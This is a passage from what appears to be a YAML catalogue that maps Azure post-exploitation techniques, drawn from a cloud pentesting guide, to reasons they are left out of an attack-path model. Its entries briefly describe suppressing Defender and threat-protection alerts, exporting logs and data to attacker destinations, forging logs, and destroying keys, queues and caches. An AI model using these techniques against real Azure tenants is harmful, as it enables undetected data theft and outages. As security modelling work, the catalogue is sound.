Microsoft.DocumentDB/databaseAccounts/mongodbDatabases/write && Microsoft.DocumentDB/databaseAccounts/mongodbDatabases/read + source_revision: a66f094ede + reason: Create or delete Mongo-API databases; deleting a database is destructive (all child collections and documents lost). The section + does not establish control of another Azure/Entra principal from this action alone. +- source: src/pentesting-cloud/azure-security/az-post-exploitation/az-cosmosDB-post-exploitation.md#microsoftdocumentdbdatabaseaccountsfailoverprioritychangeaction + technique: Microsoft.DocumentDB/databaseAccounts/failoverPriorityChange/action + source_revision: a66f094ede + reason: 'Availability/DoS: reorder regional failover priority to force a different region to become primary, degrading or interrupting + availability of a multi-region account without touching any data permission. The section does not establish control of another Azure/Entra + principal from this action alone.' +- source: src/pentesting-cloud/azure-security/az-post-exploitation/az-cosmosDB-post-exploitation.md#microsoftdocumentdbdatabaseaccountsregeneratekeyaction + technique: Microsoft.DocumentDB/databaseAccounts/regenerateKey/action + source_revision: a66f094ede + reason: 'Availability/DoS and lockout: rotating a master key invalidates every app/service using the current key. The section does + not establish control of another Azure/Entra principal from this action alone.' +- source: src/pentesting-cloud/azure-security/az-post-exploitation/az-cost-management-post-exploitation.md#budgets--notifications-microsoftconsumptionbudgets + technique: Budgets + notifications (Microsoft.Consumption/budgets) + source_revision: a66f094ede + reason: Deleting the budget, disabling its notification, or raising the threshold above your expected burn removes the 'spend crossed + a threshold' email/Action-Group signal (Logic App/Function/webhook) that would. The section does not establish control of another + Azure/Entra principal from this action alone. +- source: src/pentesting-cloud/azure-security/az-post-exploitation/az-cost-management-post-exploitation.md#cost-anomaly-alerts-microsoftcostmanagementscheduledactions-kind-insightalert + technique: Cost anomaly alerts (Microsoft.CostManagement/scheduledActions, kind InsightAlert) + source_revision: a66f094ede + reason: Deleting/disabling the InsightAlert scheduled action stops Azure's daily unsupervised cost-anomaly email — the closest thing + Azure has to 'unusual billing behaviour' alerting; the anomaly is still computed. The section does not establish control of another + Azure/Entra principal from this action alone. +- source: src/pentesting-cloud/azure-security/az-post-exploitation/az-cost-management-post-exploitation.md#exports-microsoftcostmanagementexports + technique: Exports (Microsoft.CostManagement/exports) + source_revision: a66f094ede + reason: Deleting or narrowing a scheduled cost/usage export cuts the downstream feed that frequently powers a FinOps pipeline or a + SIEM, removing that off-platform visibility into your resource abuse. The section does not establish control of another Azure/Entra + principal from this action alone. +- source: src/pentesting-cloud/azure-security/az-post-exploitation/az-data-explorer-post-exploitation.md#microsoftkustoclustersaddcalloutpoliciesaction--callout-policy--ssrf--exfil-egress + technique: Microsoft.Kusto/Clusters/AddCalloutPolicies/action — callout policy → SSRF / exfil egress + source_revision: a66f094ede + reason: whitelist an attacker-controlled destination for cluster callouts, then run queries that reach it — externaldata/httprequest-style + operators and external-table/export writes can be pointed at attacker hosts. The section does not establish control of another Azure/Entra + principal from this action alone. +- source: src/pentesting-cloud/azure-security/az-post-exploitation/az-data-factory-post-exploitation.md#blind-sink-replacement-with-microsoftdatafactoryfactoriesdatasetswrite + technique: Blind sink replacement with Microsoft.DataFactory/factories/datasets/write + source_revision: a66f094ede + reason: Replacing a dataset or linked-service sink redirects future pipeline output to an attacker destination; the documented result + is data exfiltration, not the factory managed identity. +- source: src/pentesting-cloud/azure-security/az-post-exploitation/az-data-factory-post-exploitation.md#blind-sink-replacement-with-microsoftdatafactoryfactorieslinkedserviceswrite + technique: Blind sink replacement with Microsoft.DataFactory/factories/linkedservices/write + source_revision: a66f094ede + reason: Replacing a dataset or linked-service sink redirects future pipeline output to an attacker destination; the documented result + is data exfiltration, not the factory managed identity. +- source: src/pentesting-cloud/azure-security/az-post-exploitation/az-defender-for-cloud-post-exploitation.md#microsoftsecuritypricingswrite--downgrade-a-plan-to-free + technique: Microsoft.Security/pricings/write — downgrade a plan to Free + source_revision: a66f094ede + reason: This section describes how Defender detects or misses activity for this service and how to suppress alerts; it changes monitoring, + not the permissions of another Azure/Entra principal. +- source: src/pentesting-cloud/azure-security/az-post-exploitation/az-defender-for-cloud-post-exploitation.md#microsoftsecurityalertssuppressionruleswrite--pre-dismiss-alerts + technique: Microsoft.Security/alertsSuppressionRules/write — pre-dismiss alerts + source_revision: a66f094ede + reason: This section describes how Defender detects or misses activity for this service and how to suppress alerts; it changes monitoring, + not the permissions of another Azure/Entra principal. +- source: src/pentesting-cloud/azure-security/az-post-exploitation/az-defender-for-cloud-post-exploitation.md#microsoftsecuritysecuritycontactswrite--silence-notifications + technique: Microsoft.Security/securityContacts/write — silence notifications + source_revision: a66f094ede + reason: This section describes how Defender detects or misses activity for this service and how to suppress alerts; it changes monitoring, + not the permissions of another Azure/Entra principal. +- source: src/pentesting-cloud/azure-security/az-post-exploitation/az-defender-for-cloud-post-exploitation.md#microsoftsecurityalerts--dismissresolve-already-fired-alerts + technique: Microsoft.Security/alerts — dismiss/resolve already-fired alerts + source_revision: a66f094ede + reason: This section describes how Defender detects or misses activity for this service and how to suppress alerts; it changes monitoring, + not the permissions of another Azure/Entra principal. +- source: src/pentesting-cloud/azure-security/az-post-exploitation/az-defender-for-cloud-post-exploitation.md#microsoftsecurityautomationswritedelete--break-continuous-export + technique: Microsoft.Security/automations/write|delete — break continuous export + source_revision: a66f094ede + reason: This section describes how Defender detects or misses activity for this service and how to suppress alerts; it changes monitoring, + not the permissions of another Azure/Entra principal. +- source: src/pentesting-cloud/azure-security/az-post-exploitation/az-file-share-post-exploitation.md#microsoftstoragestorageaccountsfileservicesfilesharesfilesread-microsoftstoragestorageaccountsfileservicesreadfilebackupsemanticsaction + technique: Microsoft.Storage/storageAccounts/fileServices/fileshares/files/read, Microsoft.Storage/storageAccounts/fileServices/readFileBackupSemantics/action + source_revision: a66f094ede + reason: File-share read discloses stored file contents; any credentials inside are content-dependent and no specific Azure/Entra principal + is established. +- source: src/pentesting-cloud/azure-security/az-post-exploitation/az-file-share-post-exploitation.md#microsoftstoragestorageaccountsfileservicesfilesharesfilesdelete-microsoftstoragestorageaccountsfileserviceswritefilebackupsemanticsaction + technique: Microsoft.Storage/storageAccounts/fileServices/fileshares/files/delete, Microsoft.Storage/storageAccounts/fileServices/writeFileBackupSemantics/action + source_revision: a66f094ede + reason: Delete a file or folder in a share -> service interruption or loss of valuable data for clients relying on the share. The + section does not establish control of another Azure/Entra principal from this action alone. +- source: src/pentesting-cloud/azure-security/az-post-exploitation/az-key-vault-post-exploitation.md#microsoftkeyvaultvaultssecretsgetsecretaction + technique: Microsoft.KeyVault/vaults/secrets/getSecret/action + source_revision: a66f094ede + reason: Reading a service-principal secret is modelled by azure-keyvault-secret-read-sp-credentials; other secret contents are data + exposure with no identified principal. +- source: src/pentesting-cloud/azure-security/az-post-exploitation/az-key-vault-post-exploitation.md#microsoftkeyvaultvaultssecretsrestoreaction + technique: Microsoft.KeyVault/vaults/secrets/restore/action + source_revision: a66f094ede + reason: Materialises a point-in-time copy of a secret — including versions that were deleted or rotated away — into a vault the attacker + can read. The section does not establish control of another Azure/Entra principal from this action alone. +- source: src/pentesting-cloud/azure-security/az-post-exploitation/az-key-vault-post-exploitation.md#microsoftkeyvaultvaultskeysunwrapkeyaction--recover-cmk-wrapped-data-encryption-keys + technique: Microsoft.KeyVault/vaults/keys/unwrapKey/action — recover CMK-wrapped data-encryption keys + source_revision: a66f094ede + reason: Key use decrypts captured ciphertext or wrapped data keys; it does not export the vault key or identify another Azure/Entra + principal. +- source: src/pentesting-cloud/azure-security/az-post-exploitation/az-key-vault-post-exploitation.md#microsoftkeyvaultvaultskeysdecryptaction + technique: Microsoft.KeyVault/vaults/keys/decrypt/action + source_revision: a66f094ede + reason: Key use decrypts captured ciphertext or wrapped data keys; it does not export the vault key or identify another Azure/Entra + principal. +- source: src/pentesting-cloud/azure-security/az-post-exploitation/az-key-vault-post-exploitation.md#microsoftkeyvaultvaultskeysrecoveraction + technique: Microsoft.KeyVault/vaults/keys/recover/action + source_revision: a66f094ede + reason: Brings a soft-deleted key back into service. The section does not establish control of another Azure/Entra principal from + this action alone. +- source: src/pentesting-cloud/azure-security/az-post-exploitation/az-key-vault-post-exploitation.md#microsoftkeyvaultvaultskeysencryptaction + technique: Microsoft.KeyVault/vaults/keys/encrypt/action + source_revision: a66f094ede + reason: Limited on its own — it lets you produce ciphertext under a key you cannot export. The section does not establish control + of another Azure/Entra principal from this action alone. +- source: src/pentesting-cloud/azure-security/az-post-exploitation/az-key-vault-post-exploitation.md#microsoftkeyvaultvaultssecretssetsecretaction + technique: Microsoft.KeyVault/vaults/secrets/setSecret/action + source_revision: a66f094ede + reason: Poisoning a secret used by a privileged workload is modelled by azure-keyvault-secret-poisoning-consumer; creating an unused + secret only stores attacker data. +- source: src/pentesting-cloud/azure-security/az-post-exploitation/az-key-vault-post-exploitation.md#microsoftkeyvaultvaultscertificatespurgeaction + technique: Microsoft.KeyVault/vaults/certificates/purge/action + source_revision: a66f094ede + reason: Permanent, irreversible destruction of a certificate and its private key. The section does not establish control of another + Azure/Entra principal from this action alone. +- source: src/pentesting-cloud/azure-security/az-post-exploitation/az-key-vault-post-exploitation.md#microsoftkeyvaultvaultskeyspurgeaction + technique: Microsoft.KeyVault/vaults/keys/purge/action + source_revision: a66f094ede + reason: Irreversible destruction of a key. The section does not establish control of another Azure/Entra principal from this action + alone. +- source: src/pentesting-cloud/azure-security/az-post-exploitation/az-key-vault-post-exploitation.md#microsoftkeyvaultvaultssecretspurgeaction + technique: Microsoft.KeyVault/vaults/secrets/purge/action + source_revision: a66f094ede + reason: Irreversible destruction of a secret and all its versions — outage for whatever consumes it, and destruction of evidence about + what the credential was. The section does not establish control of another Azure/Entra principal from this action alone. +- source: src/pentesting-cloud/azure-security/az-post-exploitation/az-key-vault-post-exploitation.md#microsoftkeyvaultvaultscertificatesdelete + technique: Microsoft.KeyVault/vaults/certificates/delete + source_revision: a66f094ede + reason: Removes a certificate from active use, breaking TLS termination or service-principal certificate auth. The section does not + establish control of another Azure/Entra principal from this action alone. +- source: src/pentesting-cloud/azure-security/az-post-exploitation/az-key-vault-post-exploitation.md#microsoftkeyvaultvaultskeysdelete + technique: Microsoft.KeyVault/vaults/keys/delete + source_revision: a66f094ede + reason: Immediately breaks everything that uses the key — including CMK-encrypted Storage/Disks/SQL, which go inaccessible the moment + the key is soft-deleted, before any purge. The section does not establish control of another Azure/Entra principal from this action + alone. +- source: src/pentesting-cloud/azure-security/az-post-exploitation/az-key-vault-post-exploitation.md#microsoftkeyvaultvaultssecretsdelete + technique: Microsoft.KeyVault/vaults/secrets/delete + source_revision: a66f094ede + reason: Denial of service for the consuming application. The section does not establish control of another Azure/Entra principal from + this action alone. +- source: src/pentesting-cloud/azure-security/az-post-exploitation/az-log-analytics-post-exploitation.md#microsoftoperationalinsightsworkspacesdataexportswrite--continuous-log-exfiltration + technique: Microsoft.OperationalInsights/workspaces/dataExports/write — continuous log exfiltration + source_revision: a66f094ede + reason: a Data Export rule continuously streams selected tables (SigninLogs, SecurityEvent, AuditLogs, custom security tables) to + attacker-controlled Storage / Event Hub as new rows arrive — a standing, hands-off. The section does not establish control of another + Azure/Entra principal from this action alone. +- source: src/pentesting-cloud/azure-security/az-post-exploitation/az-log-analytics-post-exploitation.md#microsoftoperationalinsightsworkspacessavedsearcheswrite--poison-the-kql-functions--computer-groups-behind-detections + technique: Microsoft.OperationalInsights/workspaces/savedSearches/write — poison the KQL functions / computer groups behind detections + source_revision: a66f094ede + reason: saved searches include saved KQL functions and computer groups that analytics rules, workbooks and Sentinel content reference + by name. The section does not establish control of another Azure/Entra principal from this action alone. +- source: src/pentesting-cloud/azure-security/az-post-exploitation/az-logic-apps-post-exploitation.md#microsoftlogicworkflowsread-microsoftlogicworkflowswrite--microsoftmanagedidentityuserassignedidentitiesassignaction + technique: Microsoft.Logic/workflows/read, Microsoft.Logic/workflows/write && Microsoft.ManagedIdentity/userAssignedIdentities/assign/action + source_revision: a66f094ede + reason: The workflow-write plus userAssignedIdentities/assign/action path is already modelled by the Logic Apps managed-identity assignment + entry in logic_apps.yaml. +- source: src/pentesting-cloud/azure-security/az-post-exploitation/az-logic-apps-post-exploitation.md#microsoftwebsitesconfiglistaction-microsoftwebsitesread--microsoftwebsitesconfigwrite + technique: Microsoft.Web/sites/config/list/action, Microsoft.Web/sites/read && Microsoft.Web/sites/config/write + source_revision: a66f094ede + reason: The config/write code execution path is modelled by azure-appservice-config-write-code-execution; config/list and sites/read + only reveal configuration. +- source: src/pentesting-cloud/azure-security/az-post-exploitation/az-monitor-post-exploitation.md#microsoftinsightsdatacollectionruleswrite--associations--turn-azure-monitor-agent-into-a-file-exfiltrator + technique: Microsoft.Insights/dataCollectionRules/write (+ associations) — turn Azure Monitor Agent into a file exfiltrator + source_revision: a66f094ede + reason: a DCR defines what Azure Monitor Agent (AMA) collects. The section does not establish control of another Azure/Entra principal + from this action alone. +- source: src/pentesting-cloud/azure-security/az-post-exploitation/az-monitor-post-exploitation.md#microsoftinsightsactiongroupswrite--plant-attacker-receivers-alert-data-exfil--execution-wiring + technique: Microsoft.Insights/actionGroups/write — plant attacker receivers (alert-data exfil + execution wiring) + source_revision: a66f094ede + reason: 'distinct from reading/reusing an existing action group — creating/modifying one lets the attacker add their own receivers: + an eventHubReceiver/webhookReceiver at attacker infra exfiltrates every alert. The section does not establish control of another + Azure/Entra principal from this action alone.' +- source: src/pentesting-cloud/azure-security/az-post-exploitation/az-monitor-post-exploitation.md#microsoftinsightsdatacollectionrulesdatawrite--forge-logs-via-the-modern-logs-ingestion-api + technique: Microsoft.Insights/dataCollectionRules/data/write — forge logs via the modern Logs Ingestion API + source_revision: a66f094ede + reason: inject arbitrary records into the DCR's target streams / custom tables (and, via DCR transformations, potentially standard + tables) — forging or flooding logs to poison detections, fabricate benign-looking. The section does not establish control of another + Azure/Entra principal from this action alone. +- source: src/pentesting-cloud/azure-security/az-post-exploitation/az-mysql-post-exploitation.md#microsoftdbformysqlflexibleserversdatabaseswrite--microsoftdbformysqlflexibleserversdatabasesread + technique: Microsoft.DBforMySQL/flexibleServers/databases/write && Microsoft.DBforMySQL/flexibleServers/databases/read + source_revision: a66f094ede + reason: Enumerate databases and create new ones; unauthorized DB creation consumes resources and can interfere with apps that key + off database names. The section does not establish control of another Azure/Entra principal from this action alone. +- source: src/pentesting-cloud/azure-security/az-post-exploitation/az-mysql-post-exploitation.md#microsoftdbformysqlflexibleserversstartaction + technique: Microsoft.DBforMySQL/flexibleServers/start/action + source_revision: a66f094ede + reason: Start a stopped server, restoring availability (used to bring a server back after a stop, or to re-enable management operations). + The section does not establish control of another Azure/Entra principal from this action alone. +- source: src/pentesting-cloud/azure-security/az-post-exploitation/az-mysql-post-exploitation.md#microsoftdbformysqlflexibleserversresetgtidaction + technique: Microsoft.DBforMySQL/flexibleServers/resetGtid/action + source_revision: a66f094ede + reason: Reset the GTID set → invalidates all available backups of the server (destructive / anti-recovery, hampers restore-based remediation). + The section does not establish control of another Azure/Entra principal from this action alone. +- source: src/pentesting-cloud/azure-security/az-post-exploitation/az-mysql-post-exploitation.md#microsoftdbformysqlflexibleserversfirewallruleswrite + technique: Microsoft.DBforMySQL/flexibleServers/firewallRules/write + source_revision: a66f094ede + reason: The change opens network access or changes database parameters, but still needs an independent database login before another + identity can be used. +- source: src/pentesting-cloud/azure-security/az-post-exploitation/az-mysql-post-exploitation.md#microsoftdbformysqlflexibleserversadvancedthreatprotectionsettingswrite + technique: Microsoft.DBforMySQL/flexibleServers/advancedThreatProtectionSettings/write + source_revision: a66f094ede + reason: Disable Advanced Threat Protection → suppress the anomalous-activity alerts that would otherwise flag the attacker's database + access (defense evasion). The section does not establish control of another Azure/Entra principal from this action alone. +- source: src/pentesting-cloud/azure-security/az-post-exploitation/az-mysql-post-exploitation.md#microsoftdbformysqlflexibleserversupdateconfigurationsaction + technique: Microsoft.DBforMySQL/flexibleServers/updateConfigurations/action + source_revision: a66f094ede + reason: The change opens network access or changes database parameters, but still needs an independent database login before another + identity can be used. +- source: src/pentesting-cloud/azure-security/az-post-exploitation/az-mysql-post-exploitation.md#microsoftdbformysqlflexibleserversstopaction + technique: Microsoft.DBforMySQL/flexibleServers/stop/action + source_revision: a66f094ede + reason: Stop the server → database unavailable and management operations blocked while stopped (availability impact / DoS). The section + does not establish control of another Azure/Entra principal from this action alone. +- source: src/pentesting-cloud/azure-security/az-post-exploitation/az-postgresql-post-exploitation.md#microsoftdbforpostgresqlflexibleserversdatabaseswrite--microsoftdbforpostgresqlflexibleserversdatabasesread + technique: Microsoft.DBforPostgreSQL/flexibleServers/databases/write && Microsoft.DBforPostgreSQL/flexibleServers/databases/read + source_revision: a66f094ede + reason: List and create databases on the server; unauthorized creation consumes resources and can disrupt apps keyed off database + names. The section does not establish control of another Azure/Entra principal from this action alone. +- source: src/pentesting-cloud/azure-security/az-post-exploitation/az-postgresql-post-exploitation.md#microsoftdbforpostgresqlflexibleserversstartaction + technique: Microsoft.DBforPostgreSQL/flexibleServers/start/action + source_revision: a66f094ede + reason: Start a stopped server, restoring availability and management operations. The section does not establish control of another + Azure/Entra principal from this action alone. +- source: src/pentesting-cloud/azure-security/az-post-exploitation/az-postgresql-post-exploitation.md#microsoftdbforpostgresqlflexibleserversfirewallruleswrite-microsoftdbforpostgresqlflexibleserversread--microsoftdbforpostgresqlflexibleserversfirewallrulesread + technique: Microsoft.DBforPostgreSQL/flexibleServers/firewallRules/write, Microsoft.DBforPostgreSQL/flexibleServers/read && Microsoft.DBforPostgreSQL/flexibleServers/firewallRules/read + source_revision: a66f094ede + reason: The change opens network access or changes database parameters, but still needs an independent database login before another + identity can be used. +- source: src/pentesting-cloud/azure-security/az-post-exploitation/az-postgresql-post-exploitation.md#microsoftdbforpostgresqlflexibleserversconfigurationswrite--microsoftdbforpostgresqlflexibleserversconfigurationsread + technique: Microsoft.DBforPostgreSQL/flexibleServers/configurations/write && Microsoft.DBforPostgreSQL/flexibleServers/configurations/read + source_revision: a66f094ede + reason: The change opens network access or changes database parameters, but still needs an independent database login before another + identity can be used. +- source: src/pentesting-cloud/azure-security/az-post-exploitation/az-postgresql-post-exploitation.md#microsoftdbforpostgresqlflexibleserversadvancedthreatprotectionsettingswrite--microsoftdbforpostgresqlflexibleserversadvancedthreatprotectionsettingsread + technique: Microsoft.DBforPostgreSQL/flexibleServers/advancedThreatProtectionSettings/write && Microsoft.DBforPostgreSQL/flexibleServers/advancedThreatProtectionSettings/read + source_revision: a66f094ede + reason: Disable Advanced Threat Protection → suppress anomalous-activity alerts before accessing the database (defense evasion). The + section does not establish control of another Azure/Entra principal from this action alone. +- source: src/pentesting-cloud/azure-security/az-post-exploitation/az-postgresql-post-exploitation.md#microsoftdbforpostgresqlflexibleserversstopaction + technique: Microsoft.DBforPostgreSQL/flexibleServers/stop/action + source_revision: a66f094ede + reason: Stop the server compute → database unavailable (availability impact / DoS). The section does not establish control of another + Azure/Entra principal from this action alone. +- source: src/pentesting-cloud/azure-security/az-post-exploitation/az-queue-post-exploitation.md#dataactions-microsoftstoragestorageaccountsqueueservicesqueuesmessagesread + technique: 'DataActions: Microsoft.Storage/storageAccounts/queueServices/queues/messages/read' + source_revision: a66f094ede + reason: Read queue message contents without dequeuing → exfiltrate whatever the queue carries. The section does not establish control + of another Azure/Entra principal from this action alone. +- source: src/pentesting-cloud/azure-security/az-post-exploitation/az-queue-post-exploitation.md#dataactions-microsoftstoragestorageaccountsqueueservicesqueuesmessagesaddaction + technique: 'DataActions: Microsoft.Storage/storageAccounts/queueServices/queues/messages/add/action' + source_revision: a66f094ede + reason: Forged or changed messages can steer a privileged queue-triggered workload; azure-queue-message-injection-consumer models + this permission and requires a trusting consumer. +- source: src/pentesting-cloud/azure-security/az-post-exploitation/az-queue-post-exploitation.md#actions-microsoftstoragestorageaccountsqueueservicesqueueswrite + technique: 'Actions: Microsoft.Storage/storageAccounts/queueServices/queues/write' + source_revision: a66f094ede + reason: Create attacker queues or rewrite metadata → disrupt or mislead applications that trust queue names/metadata. The section + does not establish control of another Azure/Entra principal from this action alone. +- source: src/pentesting-cloud/azure-security/az-post-exploitation/az-queue-post-exploitation.md#dataactions-microsoftstoragestorageaccountsqueueservicesqueuesmessageswrite + technique: 'DataActions: Microsoft.Storage/storageAccounts/queueServices/queues/messages/write' + source_revision: a66f094ede + reason: Forged or changed messages can steer a privileged queue-triggered workload; azure-queue-message-injection-consumer models + this permission and requires a trusting consumer. +- source: src/pentesting-cloud/azure-security/az-post-exploitation/az-queue-post-exploitation.md#actions-microsoftstoragestorageaccountsqueueservicesqueuessetaclaction + technique: 'Actions: Microsoft.Storage/storageAccounts/queueServices/queues/setAcl/action' + source_revision: a66f094ede + reason: Replace a queue's stored access policies, changing the permissions or expiry of service SAS tokens already tied to those policy + identifiers. The section does not establish control of another Azure/Entra principal from this action alone. +- source: src/pentesting-cloud/azure-security/az-post-exploitation/az-queue-post-exploitation.md#actions-microsoftstoragestorageaccountsqueueservicesqueuesdelete + technique: 'Actions: Microsoft.Storage/storageAccounts/queueServices/queues/delete' + source_revision: a66f094ede + reason: 'Destructive: delete a queue and every message in it → data loss and denial of service for producers/consumers. The section + does not establish control of another Azure/Entra principal from this action alone.' +- source: src/pentesting-cloud/azure-security/az-post-exploitation/az-queue-post-exploitation.md#dataactions-microsoftstoragestorageaccountsqueueservicesqueuesmessagesdelete + technique: 'DataActions: Microsoft.Storage/storageAccounts/queueServices/queues/messages/delete' + source_revision: a66f094ede + reason: 'Destructive: clear/delete messages → wipe queued work without deleting the queue itself (silent data loss). The section does + not establish control of another Azure/Entra principal from this action alone.' +- source: src/pentesting-cloud/azure-security/az-post-exploitation/az-queue-post-exploitation.md#dataactions-microsoftstoragestorageaccountsqueueservicesqueuesmessagesprocessaction + technique: 'DataActions: Microsoft.Storage/storageAccounts/queueServices/queues/messages/process/action' + source_revision: a66f094ede + reason: Dequeue and delete messages → steal payloads and remove work from consumers (data theft + disruption). The section does not + establish control of another Azure/Entra principal from this action alone. +- source: src/pentesting-cloud/azure-security/az-post-exploitation/az-redis-post-exploitation.md#full-cache-exfiltration-with-microsoftcacheredisexportaction + technique: Full-cache exfiltration with Microsoft.Cache/redis/export/action + source_revision: a66f094ede + reason: Redis export copies cache data, potentially including session tokens or secrets; the contents and resulting principal are + unknown from the permission grant. +- source: src/pentesting-cloud/azure-security/az-post-exploitation/az-redis-post-exploitation.md#cache-poisoning-with-microsoftcacheredisimportaction + technique: Cache poisoning with Microsoft.Cache/redis/import/action + source_revision: a66f094ede + reason: Importing a crafted Redis RDB may forge application session state, but the affected application user and cache schema are + unknown; no Azure/Entra principal edge can be identified. +- source: src/pentesting-cloud/azure-security/az-post-exploitation/az-redis-post-exploitation.md#exposure-flips-with-microsoftcacherediswrite + technique: Exposure flips with Microsoft.Cache/redis/write + source_revision: a66f094ede + reason: 'privesc-enabler: property flips that widen reachability so a held/leaked key becomes usable — enableNonSslPort=true (opens + plaintext 6379 → sniffable credentials/data), publicNetworkAccess=Enabled, lowering. The section does not establish control of another + Azure/Entra principal from this action alone.' +- source: src/pentesting-cloud/azure-security/az-post-exploitation/az-redis-post-exploitation.md#open-the-data-plane-firewall-with-microsoftcacheredisfirewallruleswrite + technique: Open the data-plane firewall with Microsoft.Cache/redis/firewallRules/write + source_revision: a66f094ede + reason: 'privesc-enabler: adds a firewall rule (e.g. The section does not establish control of another Azure/Entra principal from + this action alone.' +- source: src/pentesting-cloud/azure-security/az-post-exploitation/az-redis-post-exploitation.md#control-plane-cache-wipe-with-microsoftcacheredisflushaction + technique: Control-plane cache wipe with Microsoft.Cache/redis/flush/action + source_revision: a66f094ede + reason: 'availability/integrity: wipes ALL cached data via ARM — no Redis key or data-port reachability required. The section does + not establish control of another Azure/Entra principal from this action alone.' +- source: src/pentesting-cloud/azure-security/az-post-exploitation/az-servicebus-post-exploitation.md#actions-microsoftservicebusnamespacesqueueswrite-microsoftservicebusnamespacesqueuesread + technique: 'Actions: Microsoft.ServiceBus/namespaces/queues/write (Microsoft.ServiceBus/namespaces/queues/read)' + source_revision: a66f094ede + reason: Forwarding or disabling message entities intercepts or drops messages. Message injection into a privileged consumer is separately + modelled by azure-servicebus-message-injection-consumer. +- source: src/pentesting-cloud/azure-security/az-post-exploitation/az-servicebus-post-exploitation.md#actions-microsoftservicebusnamespacestopicssubscriptionswrite-microsoftservicebusnamespacestopicssubscriptionsread + technique: 'Actions: Microsoft.ServiceBus/namespaces/topics/subscriptions/write (Microsoft.ServiceBus/namespaces/topics/subscriptions/read)' + source_revision: a66f094ede + reason: Forwarding or disabling message entities intercepts or drops messages. Message injection into a privileged consumer is separately + modelled by azure-servicebus-message-injection-consumer. +- source: src/pentesting-cloud/azure-security/az-post-exploitation/az-servicebus-post-exploitation.md#microsoftservicebusnamespacesnetworkrulesetswrite---network-lock-out--exposure + technique: Microsoft.ServiceBus/namespaces/networkRuleSets/write - Network lock-out / exposure + source_revision: a66f094ede + reason: Two abuses. The section does not establish control of another Azure/Entra principal from this action alone. +- source: src/pentesting-cloud/azure-security/az-post-exploitation/az-servicebus-post-exploitation.md#actions-microsoftservicebusnamespacesdelete + technique: 'Actions: Microsoft.ServiceBus/namespaces/Delete' + source_revision: a66f094ede + reason: 'Destructive: deletes the entire namespace and every queue/topic/subscription and their messages → permanent data loss and + denial of service across all dependent workflows. The section does not establish control of another Azure/Entra principal from this + action alone.' +- source: src/pentesting-cloud/azure-security/az-post-exploitation/az-servicebus-post-exploitation.md#actions-microsoftservicebusnamespacestopicsdelete + technique: 'Actions: Microsoft.ServiceBus/namespaces/topics/Delete' + source_revision: a66f094ede + reason: 'Destructive: deletes a topic with all its subscriptions and messages → data loss and disruption of every consumer of that + topic. The section does not establish control of another Azure/Entra principal from this action alone.' +- source: src/pentesting-cloud/azure-security/az-post-exploitation/az-servicebus-post-exploitation.md#actions-microsoftservicebusnamespacesqueuesdelete + technique: 'Actions: Microsoft.ServiceBus/namespaces/queues/Delete' + source_revision: a66f094ede + reason: 'Destructive: deletes a queue and all messages in it → data loss and disruption of producers/consumers of that queue. The + section does not establish control of another Azure/Entra principal from this action alone.' +- source: src/pentesting-cloud/azure-security/az-post-exploitation/az-servicebus-post-exploitation.md#actions-microsoftservicebusnamespacestopicssubscriptionsdelete + technique: 'Actions: Microsoft.ServiceBus/namespaces/topics/subscriptions/Delete' + source_revision: a66f094ede + reason: 'Destructive: deletes a subscription and its buffered messages → breaks the consumer bound to it and drops undelivered messages. + The section does not establish control of another Azure/Entra principal from this action alone.' +- source: src/pentesting-cloud/azure-security/az-post-exploitation/az-servicebus-post-exploitation.md#actions-microsoftservicebusnamespacestopicswrite-microsoftservicebusnamespacestopicsread + technique: 'Actions: Microsoft.ServiceBus/namespaces/topics/write (Microsoft.ServiceBus/namespaces/topics/read)' + source_revision: a66f094ede + reason: 'Reconfigure a topic: lower default TTL to expire messages early or set status Disabled to interrupt message processing (DoS + / data loss). The section does not establish control of another Azure/Entra principal from this action alone.' +- source: src/pentesting-cloud/azure-security/az-post-exploitation/az-servicebus-post-exploitation.md#microsoftservicebusnamespacesdisasterrecoveryconfigswrite-failoveraction-breakpairingaction---geo-dr-failover--break-pairing-hijack + technique: Microsoft.ServiceBus/namespaces/disasterRecoveryConfigs/write, .../failover/action, .../breakPairing/action - Geo-DR failover + / break-pairing hijack + source_revision: a66f094ede + reason: fail-over repoints the Geo-DR alias to the secondary and permanently breaks the pairing (once-only, near-instant); break-pair + tears down replication. The section does not establish control of another Azure/Entra principal from this action alone. +- source: src/pentesting-cloud/azure-security/az-post-exploitation/az-servicebus-post-exploitation.md#microsoftservicebusnamespaceswrite---disable-local-auth-lock-out-disablelocalauthtrue + technique: Microsoft.ServiceBus/namespaces/write - Disable local auth lock-out (disableLocalAuth=true) + source_revision: a66f094ede + reason: Setting disableLocalAuth=true instantly invalidates every SAS credential in the namespace, breaking any producer/consumer + that relies on connection strings (extremely common) — a one-line,. The section does not establish control of another Azure/Entra + principal from this action alone. +- source: src/pentesting-cloud/azure-security/az-post-exploitation/az-sql-post-exploitation.md#microsoftsqllocationsconnectionpoliciesazureasyncoperationread-microsoftsqlserversconnectionpoliciesread--microsoftsqlserversconnectionpolicieswrite + technique: Microsoft.Sql/locations/connectionPoliciesAzureAsyncOperation/read, Microsoft.Sql/servers/connectionPolicies/read && Microsoft.Sql/servers/connectionPolicies/write + source_revision: a66f094ede + reason: Force the server's connection policy to Proxy so all client connections are routed through the Azure SQL gateway instead of + direct-to-node (Redirect) → changes the network path (useful for. The section does not establish control of another Azure/Entra + principal from this action alone. +- source: src/pentesting-cloud/azure-security/az-post-exploitation/az-sql-post-exploitation.md#microsoftsqlserversdatabasesread-microsoftsqlserversread--microsoftsqlserversdatabaseswrite + technique: Microsoft.Sql/servers/databases/read, Microsoft.Sql/servers/read && Microsoft.Sql/servers/databases/write + source_revision: a66f094ede + reason: Database copy, import, export or replica operations expose or alter SQL data; the source does not gain another Azure/Entra + principal. +- source: src/pentesting-cloud/azure-security/az-post-exploitation/az-sql-post-exploitation.md#microsoftsqlserversdatabasesexportaction + technique: Microsoft.Sql/servers/databases/export/action + source_revision: a66f094ede + reason: Database copy, import, export or replica operations expose or alter SQL data; the source does not gain another Azure/Entra + principal. +- source: src/pentesting-cloud/azure-security/az-post-exploitation/az-sql-post-exploitation.md#microsoftsqlserversdatabaseswrite-createmode-secondarycopy--microsoftsqlserversfailovergroupswrite + technique: Microsoft.Sql/servers/databases/write (createMode Secondary/Copy) && Microsoft.Sql/servers/failoverGroups/write + source_revision: a66f094ede + reason: Database copy, import, export or replica operations expose or alter SQL data; the source does not gain another Azure/Entra + principal. +- source: src/pentesting-cloud/azure-security/az-post-exploitation/az-sql-post-exploitation.md#microsoftsqlserversdatabasesimportaction + technique: Microsoft.Sql/servers/databases/import/action + source_revision: a66f094ede + 